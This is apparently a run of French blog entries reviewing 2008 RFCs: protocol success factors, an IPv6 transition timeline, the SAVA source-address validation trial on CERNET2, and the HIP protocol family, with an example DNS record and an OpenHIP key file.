Qu'est-ce qui fait qu'un protocole a du succès ou pas ? Pourquoi certains restent-ils dans une petite niche alors que d'autres accèdent à la domination mondiale ? Et y a t-il des leçons à tirer de ces succès et de ces échecs, pour améliorer les prochains protocoles ? C'est à ces questions que s'attaque le dernier RFC de l'IAB, « qu'est-ce qui fait un succès ? ».
Il n'y a évidemment pas de réponse simple et univoque. Le RFC 5218 ne tente bien sûr pas de trouver une recette simple qui garantirait le succès. Il liste plutôt des facteurs qui jouent un rôle, essayant d'évaluer l'importance de ce rôle. La moitié du RFC est constituée d'études de cas où plusieurs protocoles sont étudiés du point de vue de ces facteurs.
Ce qui est sûr, c'est que la qualité technique du protocole n'est qu'un des facteurs, et pas le plus important.
Au sein des protocoles IETF, pourquoi Diameter (RFC 3588, puis RFC 6733) n'a t-il jamais remplacé Radius (RFC 2865) ? Pourquoi SNMP v1 (RFC 1157) continue t-il à être tant utilisé ? Et, bien sûr, même s'il est très peu cité dans le RFC, pourquoi IPv6 (RFC 2460) n'a t-il pas remplacé IPv4 (RFC 791) ? Pourtant, à chaque fois, le protocole présenté comme « le successeur » avait bénéficié d'un marketing vigoureux.
Entre protocoles IETF et protocoles d'autres origines, pourquoi IP a t-il écrasé IPX, qui était probablement techniquement supérieur, ou bien OSI, qui bénéficiait d'un soutien politicien et bureaucratique marqué ?
La section 1.1 du RFC commence par tenter de définir ce qui fait le succès. BGP (RFC 4271) est un succès, bien qu'il ne soit installé que sur un petit nombre de machines et qu'il ne soit utilisé directement que par une petite minorité de personnes. DHCP (RFC 2131) est un autre exemple d'un succès qui ne se voit pas forcément, puisqu'il n'est utilisé qu'à l'interieur d'un site (DHCP est un « protocole TCP/IP » mais pas vraiment un « protocole Internet »). Même chose pour OSPF (RFC 2328). En revanche, les protocoles célèbres, utilisés à travers l'Internet, sont des succès incontestables comme HTTP (RFC 2616), SIP (RFC 3261) ou le DNS (RFC 1034).
La section 1.2 essaie de quantifier cette question en parlant des deux dimensions du succès : les usages et l'échelle. Un protocole est conçu pour certains usages. Le succès signifie souvent qu'il est utilisé pour d'autres usages. Un protocole est prévu pour une certaine échelle d'utilisation et le succès va souvent le conduire à la dépasser largement (par exemple, il y a bien plus de machines connectées à l'Internet que n'en prévoyaient ses concepteurs, même dans leurs rêves les plus fous). Le RFC invente même le concept de « succès fou » (wild success) pour désigner les protocoles qui, comme IPv4, ont dépassé toutes les espérances.
HTTP (section 1.2.1) est un exemple encore meilleur d'un succès fou. Il a dépassé les usages prévus (puisqu'on se sert de HTTP en dehors du Web, par exemple pour REST et XML-RPC, voire pour traverser les coupe-feux et « tunneler » le trafic). L'ampleur de son déploiement a aussi largement dépassé les ambitions initiales de Tim Berners-Lee !
Plus complexe, toujours en section 1.2.1, est le cas d'ARP (RFC 826). En ampleur du déploiement, c'est un grand succès. Mais ses usages ont été réduits : conçu pour fonctionner sur n'importe quel type de réseau local, il n'a jamais été déployé que sur Ethernet.
Alors, est-ce souhaitable pour un concepteur de protocole de voir son bébé devenir un « succès fou » ? Ce n'est pas évident, comme le note la section 1.3. Avoir un succès fou a des conséquences, certaines bonnes et d'autres mauvaises. Par exemple, le succès peut entraîner le protocole aux limites de ses capacités quantitatives, « problème » que connait actuellement IPv4, dont les quatre milliards d'adresses possibles ne sont plus suffisantes. (À l'époque de sa conception, le modèle dominant était « un ordinateur par organisation ». Il est passé ensuite à « un ordinateur par département » puis « un ordinateur par personne » et le modèle actuel de plusieurs ordinateurs par personne est une des causes de l'épuisement des adresses IPv4.)
De même, le succès peut aggraver ou révéler des problèmes de sécurité : le protocole qui réussit va attirer l'attention des craqueurs.
Et l'échec ? Symétrique du succès, c'est le sort de certains protocoles. La section 1.3 essaie de l'analyser. D'abord, il ne faut pas forcément être pressé. Au début, un protocole n'a aucun déploiement et aucune implémentation. Ce n'est qu'avec le temps qu'on peut dire que le protocole a réussi ou échoué. HTTP a mis plusieurs années à décoller, par exemple. IPv4 est resté le protocole d'un petit réseau inconnu des décideurs et des journalistes pendant de nombreuses années.
Les protocoles réseaux ont un problème particulier à surmonter, celui de l'œuf et la poule (un terme que critique notre RFC, d'ailleurs). En effet, le réseau ne sert à rien si on est tout seul. Si j'invente un protocole de courrier électronique supérieur à SMTP (avec l'expérience qu'on a aujourd'hui, ce n'est pas très difficile), ce protocole, si réussi soit-il, ne servira à rien puisque j'en serai le seul utilisateur et que je ne pourrai donc envoyer du courrier à personne. Le cercle vicieux s'enclenche facilement : personne n'a déployé le nouveau protocole donc les auteurs de logiciels ne se pressent pas pour l'intégrer dans leurs programmes donc les utilisateurs ne s'en servent pas, donc il n'y a pas de déploiement, etc. Tout le monde aurait intérêt à ce que le nouveau protocole réussisse mais les premiers convertis supporteraient tous les coûts. En l'absence d'une autorité centrale qui pourrait ordonner le déploiement du nouveau protocole, bien des propositions de réforme ont ainsi été victimes de ce que les économistes appellent un échec du marché.
Quelles sont les méthodes pour faire face au problème de l'œuf et de la poule ? La section 1.3 en cite plusieurs :
La section 2 explore les différentes causes de succès, en précisant bien qu'aucun succès n'a réuni toutes ces causes. 2.1 se spécialise dans les raisons du succès « de base », 2.2 dans celles du succès fou.
D'abord, le protocole doit évidemment avoir un intérêt et cet intérêt doit compenser les coûts (section 2.1.1). Si les coûts liés au matériel sont les plus visibles, ils ne sont pas forcément les plus importants. Ainsi, tout protocole qui nécessite de re-former les utilisateurs a un travail plus difficile pour s'imposer car le coût de cette formation est non-trivial. Les coûts liés à l'invalidation des anciens calculs économiques sont également à prendre en compte : si un FAI fonde son modèle économique sur des connexions Internet intermittentes, un protocole qui permet d'être connecté tout le temps comme l'ADSL, va remettre en cause ce modèle (de façon significative, mais étonnante pour un RFC, le paragraphe sur l'économie est le plus long de la section).
Et quels sont les bénéfices possibles ? Résoudre un problème lancinant (DHCP a ainsi mis fin au cauchemar des administrateurs réseaux courant de machine en machine pour faire un changement), permettre des choses qu'on ne faisait pas avant, ou rendre simplement plus efficace les choses qu'on faisait déjà (de tels protocoles sont souvent plus simple à déployer car ils ne remettent pas en cause les usages). Si le coût initial est élevé, le protocole peut avoir du mal à s'imposer, même si les bénéfices futurs sont prometteurs.
En outre, coûts et bénéfices ne sont pas équitablement répartis. Les techniques de NAT sont très coûteuses pour les développeurs d'applications, qui doivent coder des contournements compliqués mais apportent des bénéfices aux FAI, qui font des économies d'adresses IP. Tout dépend donc de qui décide. Le RFC note donc que le succès d'un protocole vient souvent de « l'alignement des coûts et des bénéfices », c'est-à-dire du fait que les bénéfices viennent à ceux qui supportent les coûts initiaux (même si, comme dans le cas du NAT, les coûts finaux sont payés par d'autres).
Ensuite, pour être un succès, le protocole a tout intérêt à être déployable petit à petit (section 2.1.2). En effet, le dernier flag day (tout l'Internet change de protocole le jour J à l'heure H) a eu lieu en janvier 1983 lors du déploiement d'IPv4 (et du passage à TCP/IP). Aujourd'hui, il est complètement impossible de changer tout l'Internet d'un coup et le nouveau protocole doit donc pouvoir s'intégrer à l'Internet existant (le grand drame d'IPv6 vient de là).
D'autres causes de succès non technique sont la disponibilité du code en logiciel libre ou quasi-libre (sections 2.1.3 et 2.1.4), le fait que le protocole soit ouvert (section 2.1.5) et maintenu par une SDO selon un processus ouvert (section 2.1.6, qui est un peu un plaidoyer pro domo pour l'IETF). Le succès d'IPv4 contre IPX ou OSI (ce dernier cas n'est pas cité par le RFC mais est encore plus net) tient largement à ces points. TCP/IP a gagné en bonne partie par sa disponibilité dans les Unix de Berkeley.
Le fait que la norme soit « ouverte » joue un rôle important, ce qui explique aussi la vigueur des débats dans le groupe de travail IPR de l'IETF. Les RFC ne sont pas les normes les plus ouvertes du monde, par exemple leur licence (RFC 5378) limite les usages qui peuvent en être faits...
Et la technique, alors, elle ne joue aucun rôle ? Un peu quand même, argumente la section 2.1.7, qui explique qu'un protocole bien conçu a davantage de chances.
Mais le succès est une chose et le succès fou en est une autre. Qu'est-ce qui cause un succès fou ? L'extensibilité et l'absence de limites aident (sections 2.2.1 et 2.2.2). DECnet était limité par construction à 65 536 machines, ce qui garantissait son échec à terme, même s'il avait connu de bons débuts.
L'un des points où il y a la plus grosse différence entre le succès et le succès fou concerne la sécurité (section 2.2.3). Au début, il n'est pas nécessaire qu'un protocole soit sûr (ce point est développé également en section 3). Compte-tenu des divers coûts associés à la sécurité, notamment les difficultés d'usage, faire l'impasse sur la sécurité est en général un bon moyen de réussir au début. Mais, lorsque le protocole devient très répandu, les craqueurs se précipitent dessus et cherchent à le subvertir. C'est alors que les impasses qui avaient été faites sur la sécurité peuvent se payer cher. Néanmoins, foncer d'abord et réfléchir ensuite à la sécurité semble être une bonne stratégie (les protocoles qui intègrent la sécurité dès le début ne sont souvent jamais déployés et donc jamais attaqués).
Notons que l'annexe A, qui représente la moitié du RFC, décline ces analyses pour une série d'étude de cas. C'est ainsi que sont examinés :
La section 3 sert de conclusion au RFC. Elle estime que les facteurs de succès les plus importants sont le fait que le protocole apporte un avantage réel et le fait qu'il puisse être déployé progressivement, sans flag day.
Les qualités techniques du protocole sont secondaires et le RFC note, à juste titre, que beaucoup de protocoles ayant connu un succès fou ne passeraient pas l'examen de l'IESG aujourd'hui...
La conclusion finale est donc que l'examen par l'IETF des nouveaux protocoles devrait donc inclure l'étude des facteurs de succès.
Enfin, je note que l'IAB n'a guère mentionné des cas où l'échec est plus gênant pour l'IETF comme le peu de déploiement d'IPv6...
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : J. Curran
Pour information
Première rédaction de cet article le 13 juillet 2008
Il y a déjà eu des tas de plans pour réaliser la transition depuis l'actuel IPv4 vers le futur protocole IPv6. Ce très court RFC, qui est une contribution individuelle, expose sommairement un tel plan, dont rien ne garantit qu'il sera davantage suivi que les autres.
Comment passer d'un Internet très majoritairement IPv4 à un Internet où IPv6 représenterait l'essentiel des adresses et du trafic, ne laissant que des îlots attardés avec l'ancien protocole ? Le problème est d'autant plus difficile que les premiers à migrer n'ont aucun intérêt à le faire puisqu'ils ne peuvent joindre personne en IPv6 ; aujourd'hui, il n'y a pratiquement aucun « gros » site Web accessible en IPv6, et ce n'est pas différent pour les autres services. Il y a peu de chances que les seules lois du marché suffisent à effectuer ce changement (voir aussi le RFC 1669).
Notre RFC décrit un plan possible, en notant bien qu'il n'est pas obligatoire. J'ajoute qu'il ne semble pas plus réaliste que les autres, qu'on trouve par exemple dans les RFC 3750 ou RFC 4057. Il part d'une prémisse optimiste, que les acteurs voudront la connectivité IPv6 pour elle-même.
L'idée est de décrire la transition en plusieurs étapes (section
2). Trois étapes sont prévues, chacune permettant de tirer d'avantage
de bénéfices de la transition. Dans l'étape de Préparation (section
2.1, prévue pour durer jusqu'en
décembre 2009, c'est-à-dire quasiment demain), on dote certains serveurs
accessibles de l'extérieur de capacités IPv6 (sans forcément mettre
IPv6 sur tous les réseaux locaux). Pour limiter les risques, ces
serveurs sont accessibles avec un nom spécial, comme expliqué en
section 2.1.1 (c'est ce que fait
Google en ce moment où son service phare, le
moteur de recherche, est accessible sous le nom
). Notons que
la grande majorité des organisations connectées à Internet n'a
toujours pas commencé cette étape, prévue pour se terminer dans un an
et demi. Notons aussi que cette étape ne permet pas encore
d'abandonner IPv4, toute machine devant rester « double-pile » (v4 et
v6).http://ipv6.google.com
Dans la seconde étape (section 2.2), prévue de janvier 2010 à décembre 2011, tous les serveurs ont IPv6, et on déploie IPv6 sur les réseaux internes. Idéalement, à la fin de cette étape, un accès Internet en IPv6 seul serait possible. Notons que, même si ce calendrier était respecté, il suffirait à peine à éviter l'épuisement des adresses IPv4, qui devrait survenir en 2011.
Enfin, la troisième étape (section 2.3), prévue à partir de janvier 2012, sera consacrée au démantèlement progressif des services IPv4 et à la stabilisation des services IPv6.
Évidemment, ce calendrier devrait être suivi, vu l'approche de la date où la dernière adresse IPv4 sera allouée. Mais le sera t-il ? Compte-tenu de l'actuelle situation de déni de la réalité, c'est peu probable.
Un mot en passant : ce blog n'est pas accessible en IPv6, le fournisseur d'hébergement actuel ne le proposant pas. Un tunnel existe mais il est bien trop lent et surtout trop peu fiable pour que j'annonce une adresse IPv6 dans le DNS.
Date de publication du RFC : Juin 2008
Auteur(s) du RFC : J. Wu (Université de Tsinghua), J.
Bi (Université de Tsinghua), X. Li (Université de
Tsinghua), G. Ren (Université de
Tsinghua), K. Xu (Université de
Tsinghua), M. Williams (Juniper)
Expérimental
Première rédaction de cet article le 26 juin 2008
On le sait, l'Internet ne dispose pas de moyen de garantir l'authenticité de l'adresse IP de l'expéditeur d'un paquet. Le projet SAVA (Source Address VAlidation, il ne semble pas avoir de page Web mais il existe une liste de diffusion) vise à explorer les moyens de valider les adresses IP source. Il est actuellement à un stade très préliminaire mais une première expérience en vraie grandeur a été tentée en Chine et ce RFC la documente.
Si l'Internet n'authentifie pas les adresses IP, ce n'est pas, comme on le lit souvent, parce que ses concepteurs étaient naïfs, trop confiants dans la nature humaine, ou bien parce qu'ils étaient distraits et avaient oublié cette fonction. C'est parce que le problème est très difficile dans un réseau ouvert comme l'Internet. Si les réseaux X.25 vérifiaient les numéros des appelants, c'est simplement parce qu'il n'existait qu'un petit groupe d'opérateurs (seulement deux aux États-Unis et un seul en France) et que leurs clients devaient passer par un opérateur (pas de connexion directe). C'est aussi parce que ce petit groupe fermé d'opérateurs était uniquement situés dans les pays de l'OCDE. Dans l'Internet d'aujourd'hui, si une université thaïlandaise vérifie les adresses IP des machines de ses étudiants, par quelque moyen que ce soit, pourquoi un site gouvernemental brésilien, situé à plusieurs AS de là en tiendrait-il compte ?
(Il faut également mentionner les cas où il n'est même pas évident de savoir qui est le titulaire légitime d'une adresse, comme ce fut le cas lors du récent problème avec le serveur racine L.)
Plusieurs tentatives d'authentifier les adresses IP ont déjà eu lieu. Les documents les plus souvent cités sur ce travail sont les RFC 2827 et RFC 3704. Si tous les opérateurs appliquaient ces RFC et qu'on pouvait avoir confiance en tout le monde, le problème de l'usurpation d'adresses IP disparaitrait. Comme ce n'est pas le cas, le projet SAVA aborde le problème différemment.
SAVA est à la fois plus ambitieux (puisqu'il vise à permettre l'authentification de toute adresse IP partout dans le monde) et plus modeste, puisqu'il est bâti sur le prémisse que tout le monde n'adoptera pas SAVA (en tout cas, pas imémdiatement), et que peu d'opérateurs en déploieront immédiatement toutes les composantes et qu'il faut donc qu'il y aie des bénéfices même pour les premiers adoptants (ce qui manque au RFC 2827).
Le principe de SAVA est que chacun vérifie ce qu'il peut (il n'y a pas obligation de vérifier chaque adresse IP, une vérification du préfixe est déjà appréciable) et qu'il le communique à ceux qui le veulent. Selon les relations de confiance entre opérateurs, ces informations se propageront plus ou moins loin.
Le réseau chinois de la recherche et de l'enseignement CRNET a décidé de monter un test en grandeur nature de SAVA, dans son état actuel (SAVA n'est pas du tout normalisé, pour des raisons à la fois techniques et politiques.) Ce RFC est le compte-rendu de cette expérience. Douze sites ont participé à l'expérience, qui n'était donc pas une simple petite manipulation de laboratoire.
La section 2 du RFC résume les principes de SAVA, notamment le caractère « multi-barrières » (les vérifications peuvent se faire à divers endroits, puisqu'il n'est pas réaliste de les imposer, on aura donc toujours des cas où l'autre n'aura pas validé les adresses). Autre règle de SAVA : le fait que plusieurs mécanismes de vérification peuvent coexister. Non seulement il ne serait pas réaliste techniquement d'utiliser le même mécanisme pour un réseau Wifi et pour un réseau national, mais cette souplesse dans le choix des techniques de validation permet de maximiser le nombre de participants. SAVA se veut donc plus réaliste que les incantations habituelles « Il faudrait que tout le monde mette en œuvre le RFC 2827 ». Actuellement, dans SAVA, les vérifications peuvent se faire dans le réseau local, à l'intérieur de l'AS (c'est la seule possibilité dans le RFC 2827) ou bien entre AS. Autant que possible, SAVA réutilise des techniques existantes.
Les sections suivantes du RFC détaillent ces trois possibilités. La 2.2 explore les moyens de vérifier les adresses IP sur le réseau local, par exemple en ayant un commutateur qui interagisse avec le protocole d'allocation d'adresses IP. Aujourd'hui, le commutateur Ethernet est typiquement ignorant des allocations faites, par exemple avec DHCP et ne peut donc pas vérifier les adresses. Si ce commutateur jouait un rôle dans DHCP, il connaitrait les adresses IP qui peuvent apparaitre sur chaque port physique et pourrait les valider (cette technique se répand depuis : RFC 7513).
La section 2.3 traite la validation à l'intérieur de l'AS en recommandant simplement l'usage des techniques du RFC 2827 et RFC 3704.
Et les sections 2.4 et 2.5 traitent de la validation des adresses IP entre deux AS. 2.4 s'occupe du cas où les deux AS sont directement connectés. Dans ce cas, le problème est bien connu, chaque AS doit n'accepter de son voisin qu'un jeu limité de préfixes, enregistré dans un registre comme les IRR. Notons que l'expérience du détournement de YouTube par Pakistan Telecom a bien montré que cette pratique restait minoritaire, en partie parce que les IRR sont de qualité médiocre et en partie parce qu'elle impose un travail supplémentaire à tous. Certes, cette affaire portait sur le non-filtrage des annonces BGP et pas sur le non-filtrage des adresses IP mais rien ne permet de penser que le second filtrage sera fait plus sérieusement que le premier.
Plus délicat techniquement est le cas où les deux AS ne sont pas connectés directement. La solution préconisée par SAVA (sections 2.5 et 5.3) est alors l'utilisation d'un en-tête IPv6 spécial (l'expérience a été faite dans un environnement purement v6, ces en-têtes sont décrits dans le RFC 2460, section 4.3), le authentication tag. Signé cryptographiquement, cet en-tête permet de s'assurer que les routeurs des AS intermédiaires n'ont pas « bricolé » les adresses.
Après ces principes, la section 3 décrit l'expérience effective. La Chine a changé depuis « Tintin et le lotus bleu ». Le réseau CNG1-CERNET2, utilisé pour le test, connecte vingt-cinq sites, répartis dans tout le pays, à des débits allant jusqu'à 10 Gb/s. Il comprend plusieurs AS et est purement IPv6. L'expérience n'a utilisé qu'une moitié de ces sites, mais a mis en œuvre les trois scénarios de validation décrits en section 2. Les douze sites participants n'ont pas tous déployé ces trois scénarios, ce qui permet de tester SAVA dans le cas (réaliste) où tout le monde n'est pas au même niveau de déploiement.
La section 4 présente les résultats de l'expérience et proclame qu'elle fut un succès. Les paquets usurpateurs injectés dans le réseau, ont été tous jetés tôt ou tard. Les performances n'ont pas toujours été au rendez-vous, par exemple le routeur IPv6 routait toutes les extensions hop-by-hop en logiciel, donc à des performances catastrophiques pour des liaisons si rapides.
Cela ne veut pas dire que SAVA, tel que déployé dans le banc de test, soit parfait. La section 5 détaille ses limites et devrait être lue par tous ceux qui s'indignent bruyamment que l'Internet ne leur offre pas encore le niveau de traçabilité qu'ils réclament. D'abord, il faut noter qu'il y a belle lurette que la majorité des attaques sur Internet ne sont plus effectuées en trichant sur l'adresse IP. Les zombies ne se soucient en effet pas de déguiser leur adresse. D'autre part, même si SAVA peut commencer localement, une validation de bout en bout nécessitera en général la coordination de plusieurs AS, chose très difficile à obtenir. Enfin, la section 5 note que des techniques comme le multihoming ou la mobilité compliquent encore les choses.
Reste à savoir ce que deviendra SAVA. La section 6 propose une synthèse en affirmant que l'expérience a été un succès mais que le protocole doit être considérablement amélioré. Le cadre général et les protocoles ne sont pas encore normalisés et l'IETF n'a pas encore accepté un groupe de travail pour le faire (un groupe de travail avec une charte plus restreinte, SAVI, a été proposé mais pas encore accepté), SAVA soulevant bien des problèmes, notamment politiques. Ce n'est pas par hasard que la première expérimentation de SAVA sur le terrain aie eu lieu dans un pays gouverné par une dictature. Dans les couloirs de l'IETF, on entend souvent des protestations contre une technique qui rendrait la tâche des policiers chinois plus facile.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : P. Nikander (Ericsson), J. Laganier (DoCoMo)
Expérimental
Réalisé dans le cadre du groupe de travail IETF hip
Première rédaction de cet article le 21 avril 2008
Le protocole HIP n'avait pas encore de mécanisme pour trouver l'identificateur d'une machine distante. C'est désormais chose faite grâce à ce RFC qui permet de trouver l'identificateur dans le DNS (RFC qui a depuis été remplacé par le RFC 8005).
HIP fait partie de la famille des protocoles qui visent à séparer l'identificateur du localisateur. Les identificateurs HIP se nomment les HI (Host Identifier) et, jusqu'à présent, le seul moyen de trouver l'HI d'une autre machine était d'attendre qu'elle vous contacte, ou bien de le configurer manuellement. Désormais, avec ce RFC, on peut trouver l'HI, comme une adresse IP, dans le DNS.
Notre RFC crée donc un nouveau type d'enregistrement DNS, nommé logiquement HIP, qui stocke, en échange d'un nom de domaine, le HI, son résumé cryptographique - le HIT (Host Identifier Tag) - et les éventuels serveurs de rendez-vous, serveurs qui, dans le protocole HIP, servent d'intermédiaires facultatifs lorsqu'on veut contacter une machine distante (cf. RFC 5204).
Notre RFC permet de trouver l'identificateur à partir du nom mais pas le localisateur ; les serveurs de rendez-vous sont une solution possible pour cela ; une autre est d'utiliser les traditionnels enregistrements A et AAAA du DNS, le localisateur HIP étant une adresse IP.
Curieusement (pour moi), le HIT est donc stocké dans les données DNS, alors que celles-ci n'offrent aucune sécurité au point que le RFC exige en section 4.1 de recalculer le HIT qui vient d'être obtenu dans le DNS.
Le tout ressemble donc aux enregistrements IPSECKEY du RFC 4025, ce qui est normal, le HI étant une clé cryptographique publique.
Voici un exemple d'enregistrement HIP tel qu'il apparaitrait dans le fichier de zone de BIND. On y trouve l'algorithme cryptographique utilisé (2 = RSA), le HIT (en hexadécimal), le HI (encodé en Base64) et les éventuels serveurs de rendez-vous (ici, deux, indiqués à la fin) :
www.example.com. IN HIP ( 2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p 9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQ b1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs1.example.com. rvs2.example.com. )
L'ensemble du RFC est assez court, ce mécanisme d'annuaire qu'est le DNS étant simple et bien connu.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : J. Laganier (DoCoMo), L. Eggert (NEC)
Expérimental
Réalisé dans le cadre du groupe de travail IETF hip
Première rédaction de cet article le 21 avril 2008
HIP, par défaut, nécessite que l'initiateur d'une association connaisse le localisateur, l'adresse IP du répondeur. Si celui-ci bouge souvent, et qu'il n'est donc pas pratique de mettre cette adresse dans le DNS, une solution est d'utiliser le mécanisme de rendez-vous, décrit par ce RFC, où l'initiateur contacte un serveur de rendez-vous qui relaie vers le répondeur. (Ce RFC a depuis été remplacé par le RFC 8004.)
Le schéma est clairement expliqué dans la section 3 du RFC. En fonctionnement habituel de HIP, l'initiateur trouve l'identificateur et le localisateur du répondeur (typiquement, dans le DNS, cf. RFC 5205), puis le contacte directement. Si le localisateur n'est pas connu (ce qui est fréquent si le répondeur est un engin mobile, changeant souvent d'adresse IP), l'initiateur envoie le premier paquet (I1) au serveur de rendez-vous, qui le relaie au répondeur. Les autres paquets (R1, I2 et R2) seront transmis directement entre les deux machines HIP. Le mécanisme est détaillé dans la section 3.3 (il faut notamment procéder avec soin à la réécriture des adresses IP, en raison entre autre du RFC 2827).
Et comment l'initiateur trouve t-il le serveur de rendez-vous ? En général dans le DNS, via les enregistrements de type HIP. Et comment le répondeur avait-il fait connaitre au serveur de rendez-vous son adresse IP ? Via le protocole d'enregistrement du RFC 5203, comme l'explique la section 4.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : J. Laganier (DoCoMo Euro-Labs), T. Koponen (HIIT), L. Eggert (Nokia)
Expérimental
Première rédaction de cet article le 22 mai 2008
Le protocole HIP, décrit dans le RFC 5201 est très bien adapté au cas où l'adresse IP (le localisateur) change après l'établissement d'une association. Mais cela laisse ouvert le grand problème de la connexion initiale. Comment trouver une machine HIP ? Par le mécanisme de rendez-vous du RFC 5204 ? C'est certainement une bonne solution mais, alors, comment les machines HIP sont-elles connues du serveur de rendez-vous ? C'est là que notre RFC rentre en jeu pour normaliser un mécanisme d'enregistrement auprès d'un service. (Il a depuis été remmplacé par le RFC 8003.)
Le mécanisme est très simple et le RFC court. On réutilise
simplement les établissements d'associations de HIP, avec de nouveaux
types de paramètres, notamment REG_INFO
(pour
l'hôte qui accepte d'être registrar, c'est-à-dire
d'enregistrer) et REG_REQUEST
(pour celui qui
demande un enregistrement). Le mécanisme exact est détaillé dans la
section 3 et les nouveaux
paramètres dans la section 4.
HIP authentifiant les deux parties bien plus solidement que IP seul, le registrar peut alors décider s'il accepte l'enregistrement ou pas (sections 3.3 et 6).
Le rendez-vous, normalisé dans le RFC 5204 est donc une simple application de notre RFC mais d'autres pourront apparaître à l'avenir.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : R. Moskowitz (ICSAlabs), P. Nikander, P. Jokela (Ericsson Research NomadicLab), T. Henderson (The Boeing Company)
Expérimental
Réalisé dans le cadre du groupe de travail IETF hip
Première rédaction de cet article le 21 avril 2008
HIP, décrit dans ce RFC, est un protocole très ambitieux, puisqu'il vise à compléter IP en fournissant une séparation de l'identificateur et du localisateur, permettant d'améliorer la sécurité (notamment la résistance aux DoS) et de mieux gérer la mobilité et le multi-homing. La version 1, décrite dans ce RFC, a depuis été remplacée par la v2, dans le RFC 7401.
L'architecture générale de HIP est décrite dans le RFC 9063. Notre RFC normalise, lui, le protocole concret. HIP repose d'abord sur la séparation entre un nouvel identificateur, le HI (Host Identifier) et un localisateur, plus concret, qui sera simplement l'adresse IP, réduite à un rôle moins visible, sans exigence de stabilité. Par exemple, HIP permettra le changement de localisateur (d'adresse IP) en cours de connexion, sans rompre celle-ci, ce qui sera précieux pour la mobilité.
HIP est donc déployable uniquement en modifiant les machines terminales du réseau (si les coupe-feux le laissent passer), sans toucher aux routeurs. Il en existe des mises en œuvres pour FreeBSD et Linux. Le projet OpenHIP adapte également des logiciels comme Wireshark pour qu'ils aient un support HIP. InfraHIP travaille également à l'infrastructure HIP. L'article HIP Implementation for FreeBSD donne des détails intéressants sur la mise en œuvre de HIP, notamment sur les questions liées à l'API.
Si on ne veut pas lire le RFC 9063, on peut néanmoins avoir une bonne introduction à HIP en lisant les sections 1 et 2 de ce RFC. Elles expliquent le vocabulaire (par exemple, HIP, étant un protocole situé en haut de la couche 3 n'utilise pas le terme de connexion mais celui d'association), le nouvel espace de nommage et les principes du protocole.
L'espace de nommage fait l'objet de la section 3. On distingue les
HI (Host Identifier), qui sont des clés
publiques d'un couple clé privée / clé publique et qui sont de
taille variable, et les HIT (Host Identifier Tag,
décrits dans la section 3.1), qui sont un résumé
cryptographique des HI. Ils sont de taille fixe (donc plus
faciles à traiter), 128 bits, la taille d'une adresse
IPv6. Un préfixe ORCHID
(RFC 4843), le 2001:10::/28
, sert à éviter toute collision avec
les « vraies » adresses IPv6. Avec OpenHIP, la clé peut être générée par le programme hitgen
qui fabrique un fichier XML ressemblant à ceci :
<?xml version="1.0" encoding="UTF-8"?> <my_host_identities> <host_identity alg="RSA" alg_id="5" length="128" anon="no" incoming="yes" r1count="10"> <name>horcrux-1024</name> <N>C6EBA2894C33A1312B38853A8ECC0D7967496237A65529807EDF23C4DA753EE88F8FBF71BE38B6910181D5B75DB075B9962326D9BB50C65121DBFD712F1B7F4E2B035953AD650EB5C96B56295FE2731B3B36E8AFED7FB5CD48B73C31A224D4CE4F097D84888EC2E3CA8F3A78939D89B7BCFC5E6DEEAF670695349BFFFE8445F1</N> <E>010001</E> <D>383A51165838DBDE872611DACC94775692D09677BE87A214954843D7181D3E2C04B0905FF9721481069909AD2C497DED78B7F4FA64CD5F517DADAE8538D89FF21B0498A72F1132545328ABD371B1BAC8ED46441D900921523B78BA55F3FC227F432F2061C92CE9665CB99C1CF425AA90CFC6345FA4E7DA43E477EAF69F86A801</D> <P>FF03F93454C9C2D8EC47FE8C9DBF0D82F05E13905F304A5ACA42C45E579F917B4C8CEFEF6B06AAB9BCB7A911D5514B7AEE685DA91E7CC60DDC4C37BA94A22E71</P> <Q>C7B0394EB5506B2B75E19E5654262E843659BB76A465C2A7AC47A430749944378E3161FF805B4C6CB037B5CB111F0EF49FF03047FB1CFC51DC0D72DEDAD64F81</Q> <dmp1>7426C128DEBD8EEBF2A2D004080D6F0006AF32C5FD352788B6BB3669AA0B59DE08FDE082F202755C67E25735722DB6ED650D502BA961376C34BCDA5D3739AF61</dmp1> <dmq1>1B97DE5361FA9AD4869586ABA7351F78658A40BD443A4B8B9FE2C66D6BAF421DEB2827C2869A17156DC444FAAA83002E0D6BC3402F12F24ADD7D7E420D3B5001</dmq1> <iqmp>7499A27F59CA1746F1A6E5DE832592F8ACF80B814DD511C490614C44DC92B5CD1650AC944ED5751F28846487C221E8C17E68264DFEF748B86E38EB1F238D94A9</iqmp> <HIT>2001:1f:cd4:7125:2427:f77c:d1b6:e15f</HIT> <LSI>1.182.225.95</LSI> </host_identity> </my_host_identities>
Notez bien que le fait d'utiliser XML est un choix de OpenHIP, qui
n'est utilisé qu'en local. Il n'est pas imposé par la norme qui, sur
le câble, n'utilise que du binaire. Les éléments comme
P
, Q
ou
iqmp
sont les éléments d'une clé
RSA (HIP peut utiliser d'autres formats que
RSA). Le HIT est représenté en utilisant la syntaxe des adresses
IPv6, puisqu'il a la même taille et a été conçu pour
être stocké comme une adresse par les applications.
La section 3.2 explique comment générer un HIT à partir du HI. Étant un résumé cryptographique (fait avec SHA-1), il est sûr, on ne peut pas fabriquer facilement un HI qui aurait le même HIT.
Pour signer les paquets, les deux machines utiliseront au début un échange de Diffie-Hellman.
La section 4 donne une vision générale du protocole, qui sera ensuite détaillée dans les sections ultérieures. HIP a reçu le numéro de protocole 139.
